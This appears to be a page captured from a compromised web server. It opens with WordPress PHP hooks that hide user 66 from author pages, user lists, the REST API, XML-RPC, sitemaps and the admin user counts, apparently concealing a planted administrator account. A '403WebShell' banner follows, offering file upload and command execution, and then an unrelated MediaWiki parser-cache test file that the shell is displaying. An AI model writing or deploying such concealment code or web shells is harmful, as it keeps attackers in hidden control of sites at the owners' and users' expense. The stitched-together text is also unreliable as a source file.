add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/tests/phpunit/includes/parser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/tests/phpunit/includes/parser/RevisionOutputCacheTest.php
<?php

namespace MediaWiki\Tests\Parser;

use InvalidArgumentException;
use MediaWiki\Content\WikitextContent;
use MediaWiki\Json\JsonCodec;
use MediaWiki\Page\PageIdentity;
use MediaWiki\Page\PageIdentityValue;
use MediaWiki\Parser\ParserOptions;
use MediaWiki\Parser\ParserOutput;
use MediaWiki\Parser\RevisionOutputCache;
use MediaWiki\Revision\MutableRevisionRecord;
use MediaWiki\Revision\RevisionRecord;
use MediaWiki\Revision\SlotRecord;
use MediaWiki\Tests\Json\JsonDeserializableSuperClass;
use MediaWiki\User\User;
use MediaWiki\Utils\MWTimestamp;
use MediaWikiIntegrationTestCase;
use Psr\Log\LoggerInterface;
use Psr\Log\LogLevel;
use Psr\Log\NullLogger;
use TestLogger;
use Wikimedia\ObjectCache\BagOStuff;
use Wikimedia\ObjectCache\HashBagOStuff;
use Wikimedia\ObjectCache\WANObjectCache;
use Wikimedia\Stats\StatsFactory;
use Wikimedia\TestingAccessWrapper;
use Wikimedia\UUID\GlobalIdGenerator;

/**
 * @covers \MediaWiki\Parser\RevisionOutputCache
 */
class RevisionOutputCacheTest extends MediaWikiIntegrationTestCase {

	/** @var int */
	private $time;

	/** @var string */
	private $cacheTime;

	/** @var RevisionRecord */
	private $revision;

	protected function setUp(): void {
		parent::setUp();

		$this->time = time();
		$this->cacheTime = MWTimestamp::convert( TS_MW, $this->time + 1 );
		MWTimestamp::setFakeTime( $this->time );

		$this->revision = new MutableRevisionRecord(
			new PageIdentityValue(
				42,
				NS_MAIN,
				'Testing_Testing',
				PageIdentity::LOCAL
			),
			RevisionRecord::LOCAL
		);
		$this->revision->setId( 24 );
		$this->revision->setTimestamp( MWTimestamp::convert( TS_MW, $this->time ) );
		$this->revision->setSlot(
			SlotRecord::newUnsaved(
				SlotRecord::MAIN,
				new WikitextContent( 'test test test' )
			)
		);
	}

	/**
	 * @param BagOStuff|null $storage
	 * @param LoggerInterface|null $logger
	 * @param int $expiry
	 * @param string $epoch
	 *
	 * @return RevisionOutputCache
	 */
	private function createRevisionOutputCache(
		?BagOStuff $storage = null,
		?LoggerInterface $logger = null,
		$expiry = 3600,
		$epoch = '19900220000000'
	): RevisionOutputCache {
		$globalIdGenerator = $this->createMock( GlobalIdGenerator::class );
		$globalIdGenerator->method( 'newUUIDv1' )->willReturn( 'uuid-uuid' );
		return new RevisionOutputCache(
			'test',
			new WANObjectCache( [ 'cache' => $storage ?: new HashBagOStuff() ] ),
			$expiry,
			$epoch,
			new JsonCodec(),
			StatsFactory::newNull(),
			$logger ?: new NullLogger(),
			$globalIdGenerator
		);
	}

	private function getDummyUsedOptions(): array {
		return array_slice(
			ParserOptions::allCacheVaryingOptions(),
			0,
			2
		);
	}

	private function createDummyParserOutput(): ParserOutput {
		$parserOutput = new ParserOutput();
		$parserOutput->setRawText( 'TEST' );
		foreach ( $this->getDummyUsedOptions() as $option ) {
			$parserOutput->recordOption( $option );
		}
		$parserOutput->updateCacheExpiry( 4242 );
		return $parserOutput;
	}

	/**
	 * @covers \MediaWiki\Parser\RevisionOutputCache::makeParserOutputKey
	 */
	public function testMakeParserOutputKey() {
		$cache = $this->createRevisionOutputCache();

		$options1 = ParserOptions::newFromAnon();
		$options1->setOption( $this->getDummyUsedOptions()[0], 'value1' );
		$key1 = $cache->makeParserOutputKey( $this->revision, $options1, $this->getDummyUsedOptions() );
		$this->assertNotNull( $key1 );

		$options2 = ParserOptions::newFromAnon();
		$options2->setOption( $this->getDummyUsedOptions()[0], 'value2' );
		$key2 = $cache->makeParserOutputKey( $this->revision, $options2, $this->getDummyUsedOptions() );
		$this->assertNotNull( $key2 );
		$this->assertNotSame( $key1, $key2 );
	}

	/*
	 * Test that fetching without storing first returns false.
	 * @covers \MediaWiki\Parser\RevisionOutputCache::get
	 */
	public function testGetEmpty() {
		$cache = $this->createRevisionOutputCache();
		$options = ParserOptions::newFromAnon();

		$this->assertFalse( $cache->get( $this->revision, $options ) );
	}

	/**
	 * Test that fetching with the same options return the saved value.
	 * @covers \MediaWiki\Parser\RevisionOutputCache::get
	 * @covers \MediaWiki\Parser\RevisionOutputCache::save
	 */
	public function testSaveGetSameOptions() {
		$cache = $this->createRevisionOutputCache();
		$parserOutput = new ParserOutput( 'TEST_TEXT' );

		$options1 = ParserOptions::newFromAnon();
		$options1->setOption( $this->getDummyUsedOptions()[0], 'value1' );
		$cache->save( $parserOutput, $this->revision, $options1, $this->cacheTime );

		$savedOutput = $cache->get( $this->revision, $options1 );
		$this->assertInstanceOf( ParserOutput::class, $savedOutput );
		// RevisionOutputCache adds a comment to the HTML, so check if the result starts with page content.
		$this->assertStringStartsWith( 'TEST_TEXT',
			$savedOutput->getRawText() );
		$this->assertSame( $this->cacheTime, $savedOutput->getCacheTime() );
		$this->assertSame( $this->revision->getId(), $savedOutput->getCacheRevisionId() );
	}

	/**
	 * Test that non-cacheable output is not stored
	 * @covers \MediaWiki\Parser\RevisionOutputCache::save
	 */
	public function testDoesNotStoreNonCacheable() {
		$cache = $this->createRevisionOutputCache();
		$parserOutput = new ParserOutput( 'TEST_TEXT' );
		$parserOutput->updateCacheExpiry( 0 );

		$options1 = ParserOptions::newFromAnon();
		$cache->save( $parserOutput, $this->revision, $options1, $this->cacheTime );

		$this->assertFalse( $cache->get( $this->revision, $options1 ) );
	}

	/**
	 * Test that setting the cache epoch will cause outdated entries to be ignored
	 * @covers \MediaWiki\Parser\RevisionOutputCache::get
	 */
	public function testExpiresByEpoch() {
		$store = new HashBagOStuff();
		$cache = $this->createRevisionOutputCache( $store );
		$parserOutput = new ParserOutput( 'TEST_TEXT' );

		$options = ParserOptions::newFromAnon();
		$cache->save( $parserOutput, $this->revision, $options, $this->cacheTime );

		// determine cache epoch younger than cache time
		$cacheTime = MWTimestamp::convert( TS_UNIX, $parserOutput->getCacheTime() );
		$epoch = MWTimestamp::convert( TS_MW, $cacheTime + 60 );

		// create a cache with the new epoch
		$cache = $this->createRevisionOutputCache( $store, null, 60 * 60, $epoch );
		$this->assertFalse( $cache->get( $this->revision, $options ) );
	}

	/**
	 * Test that setting the cache expiry period will cause outdated entries to be ignored
	 * @covers \MediaWiki\Parser\RevisionOutputCache::get
	 */
	public function testExpiresByDuration() {
		$store = new HashBagOStuff();

		// original cache is good for an hour
		$cache = $this->createRevisionOutputCache( $store );
		$parserOutput = new ParserOutput( 'TEST_TEXT' );

		$options = ParserOptions::newFromAnon();
		$cache->save( $parserOutput, $this->revision, $options, $this->cacheTime );

		// move the clock forward by 60 seconds
		$cacheTime = MWTimestamp::convert( TS_UNIX, $parserOutput->getCacheTime() );
		MWTimestamp::setFakeTime( $cacheTime + 60 );

		// create a cache that expires after 30 seconds
		$cache = $this->createRevisionOutputCache( $store, null, 30 );
		$this->assertFalse( $cache->get( $this->revision, $options ) );
	}

	/**
	 * Test that ParserOptions::isSafeToCache is respected on save
	 * @covers \MediaWiki\Parser\RevisionOutputCache::save
	 */
	public function testDoesNotStoreNotSafeToCache() {
		$cache = $this->createRevisionOutputCache();
		$parserOutput = new ParserOutput( 'TEST_TEXT' );

		$options = ParserOptions::newFromAnon();
		$options->setOption( 'wrapclass', 'wrapwrap' );

		$cache->save( $parserOutput, $this->revision, $options, $this->cacheTime );

		$this->assertFalse( $cache->get( $this->revision, $options ) );
	}

	/**
	 * Test that ParserOptions::isSafeToCache is respected on get
	 * @covers \MediaWiki\Parser\RevisionOutputCache::get
	 */
	public function testDoesNotGetNotSafeToCache() {
		$cache = $this->createRevisionOutputCache();
		$parserOutput = new ParserOutput( 'TEST_TEXT' );

		$cache->save( $parserOutput, $this->revision, ParserOptions::newFromAnon(), $this->cacheTime );

		$otherOptions = ParserOptions::newFromAnon();
		$otherOptions->setOption( 'wrapclass', 'wrapwrap' );

		$this->assertFalse( $cache->get( $this->revision, $otherOptions ) );
	}

	/**
	 * Test that fetching with different used option don't return a value.
	 * @covers \MediaWiki\Parser\RevisionOutputCache::get
	 * @covers \MediaWiki\Parser\RevisionOutputCache::save
	 */
	public function testSaveGetDifferentUsedOption() {
		$cache = $this->createRevisionOutputCache();
		$parserOutput = new ParserOutput( 'TEST_TEXT' );
		$optionName = $this->getDummyUsedOptions()[0];
		$parserOutput->recordOption( $optionName );

		$options1 = ParserOptions::newFromAnon();
		$options1->setOption( $optionName, 'value1' );
		$cache->save( $parserOutput, $this->revision, $options1, $this->cacheTime );

		$options2 = ParserOptions::newFromAnon();
		$options2->setOption( $optionName, 'value2' );
		$this->assertFalse( $cache->get( $this->revision, $options2 ) );
	}

	/**
	 * @covers \MediaWiki\Parser\RevisionOutputCache::save
	 */
	public function testSaveNoText() {
		$this->expectException( InvalidArgumentException::class );
		$this->createRevisionOutputCache()->save(
			new ParserOutput( null ),
			$this->revision,
			ParserOptions::newFromAnon()
		);
	}

	public static function provideCorruptData() {
		yield 'JSON serialization, bad data' => [ 'bla bla' ];
		yield 'JSON serialization, no _class_' => [ '{"test":"test"}' ];
		yield 'JSON serialization, non-existing _class_' => [ '{"_class_":"NonExistentBogusClass"}' ];

		$wrongInstance = new JsonDeserializableSuperClass( 'test' );
		yield 'JSON serialization, wrong class' => [ json_encode( $wrongInstance->jsonSerialize() ) ];
	}

	/**
	 * Test that we handle corrupt data gracefully.
	 * This is important for forward-compatibility with JSON serialization.
	 * We want to be sure that we don't crash horribly if we have to roll
	 * back to a version of the code that doesn't know about JSON.
	 *
	 * @dataProvider provideCorruptData
	 * @covers \MediaWiki\Parser\RevisionOutputCache::get
	 * @covers \MediaWiki\Parser\RevisionOutputCache::restoreFromJson
	 * @param string $data
	 */
	public function testCorruptData( string $data ) {
		$cache = $this->createRevisionOutputCache();
		$parserOutput = new ParserOutput( 'TEST_TEXT' );

		$options1 = ParserOptions::newFromAnon();
		$cache->save( $parserOutput, $this->revision, $options1, $this->cacheTime );

		$outputKey = $cache->makeParserOutputKey(
			$this->revision,
			$options1,
			$parserOutput->getUsedOptions()
		);

		$backend = TestingAccessWrapper::newFromObject( $cache )->cache;
		$backend->set( $outputKey, $data );

		// just make sure we don't crash and burn
		$this->assertFalse( $cache->get( $this->revision, $options1 ) );
	}

	/**
	 * @covers \MediaWiki\Parser\RevisionOutputCache::encodeAsJson
	 */
	public function testNonSerializableJsonIsReported() {
		$testLogger = new TestLogger( true );
		$cache = $this->createRevisionOutputCache( null, $testLogger );

		$parserOutput = $this->createDummyParserOutput();
		$parserOutput->setExtensionData( 'test', new User() );
		$cache->save( $parserOutput, $this->revision, ParserOptions::newFromAnon() );
		$this->assertArraySubmapSame(
			[ [ LogLevel::ERROR, 'Unable to serialize JSON' ] ],
			$testLogger->getBuffer()
		);
	}

	/**
	 * @covers \MediaWiki\Parser\RevisionOutputCache::encodeAsJson
	 */
	public function testCyclicStructuresDoNotBlowUpInJson() {
		$this->markTestSkipped( 'Temporarily disabled: T314338' );
		$testLogger = new TestLogger( true );
		$cache = $this->createRevisionOutputCache( null, $testLogger );

		$parserOutput = $this->createDummyParserOutput();
		$cyclicArray = [ 'a' => 'b' ];
		$cyclicArray['c'] = &$cyclicArray;
		$parserOutput->setExtensionData( 'test', $cyclicArray );
		$cache->save( $parserOutput, $this->revision, ParserOptions::newFromAnon() );
		$this->assertArraySubmapSame(
			[ [ LogLevel::ERROR, 'Unable to serialize JSON' ] ],
			$testLogger->getBuffer()
		);
	}

	/**
	 * Tests that unicode characters are not \u escaped
	 * @covers \MediaWiki\Parser\RevisionOutputCache::encodeAsJson
	 */
	public function testJsonEncodeUnicode() {
		$unicodeCharacter = "Э";
		$cache = $this->createRevisionOutputCache( new HashBagOStuff() );
		$parserOutput = $this->createDummyParserOutput();
		$parserOutput->setRawText( $unicodeCharacter );
		$cache->save( $parserOutput, $this->revision, ParserOptions::newFromAnon() );

		$backend = TestingAccessWrapper::newFromObject( $cache )->cache;
		$json = $backend->get(
			$cache->makeParserOutputKey( $this->revision, ParserOptions::newFromAnon() )
		);
		$this->assertStringNotContainsString( "\u003E", $json );
		$this->assertStringContainsString( $unicodeCharacter, $json );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit